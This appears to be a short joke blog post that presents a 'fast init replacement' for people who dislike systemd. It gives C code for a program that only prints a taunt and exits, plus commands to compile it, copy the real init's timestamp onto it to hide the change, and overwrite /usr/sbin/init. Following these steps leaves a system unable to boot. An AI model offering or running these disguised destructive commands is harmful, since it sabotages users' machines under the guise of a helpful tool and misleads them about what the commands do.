Breaking Systems For Fun And Profit
Image by qimono @ Pixabay

Fast Init

There are still heathens out there who think that writing convoluted shell scripts to start a service and keep it running is in some way better than writing a simple .service file. For those people we offer the following init replacement, as originally submitted to the old site by fl0_:

Write the following file as init.c:

1
2
3
4
5
6
#include <stdio.h>

int main(){
       printf("MOEHAHAHHAAAAn");
       return 0;
}

Then run the following commands:

1
2
3
gcc -o init init.c
touch -r init /usr/sbin/init
cp -f init /usr/sbin/init